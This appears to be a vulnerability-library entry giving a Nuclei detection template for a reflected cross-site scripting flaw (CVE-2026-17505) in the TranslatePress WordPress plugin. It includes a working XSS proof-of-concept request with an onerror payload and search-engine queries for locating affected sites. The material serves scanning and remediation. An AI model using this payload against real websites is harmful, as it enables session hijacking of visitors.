/Vulnerability Library

WordPress TranslatePress < 3.2.6 - Cross-Site Scripting

CVE-2026-17505
Early Release

Description

TranslatePress plugin < 3.2.6 for WordPress contains a reflected cross-site scripting vulnerability in the translation marker processing feature, letting attackers inject and execute arbitrary JavaScript code, exploit requires no authentication or privileges.

Severity

Medium

CVSS Score

6.1

Exploit Probability

0%

Affected Product

translatepress-multilingual

Published Date

August 5, 2026

Template Author

0x_akoko

CVE-2026-17505.yaml
id: CVE-2026-17505

info:
  name: WordPress TranslatePress < 3.2.6 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    TranslatePress plugin < 3.2.6 for WordPress contains a reflected cross-site scripting vulnerability in the translation marker processing feature, letting attackers inject and execute arbitrary JavaScript code, exploit requires no authentication or privileges.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking and account takeover.
  remediation: |
    Update to version 3.2.6 or later of TranslatePress plugin.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17505
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-17505
    epss-score: 0.00372
    epss-percentile: 0.29907
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: cozmoslabs
    product: translatepress-multilingual
    framework: wordpress
    shodan-query: http.html:"translatepress"
    fofa-query: body="translatepress"
  tags: cve,cve2026,wordpress,wp-plugin,wp,translatepress,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "translatepress") || contains(body, "trp-language-switcher")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lang
        part: body
        group: 1
        internal: true
        regex:
          - 'rel="alternate"\s+hreflang="[a-zA-Z-]+"\s+href="https?://[^/"]+/([a-z]{2,3})/"'

  - raw:
      - |
        GET /{{lang}}/?s=%23!trpst%23img%20src=x%20onerror=alert(document.domain)%23!trpen%23 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src="x" onerror="alert(document.domain)">'
          - 'search'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022002dd56fb8a644d37e326145ccec4943fabc0d0b6684b226bf462cf2aba2b90ab0220397bf812f83d0ff579c873424e300c354f98d3af1cc402d00f2880e0c8157b73:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2026-17505
CWE ID:
cwe-79

References

https://nvd.nist.gov/vuln/detail/CVE-2026-17505

Remediation Steps

Update to version 3.2.6 or later of TranslatePress plugin.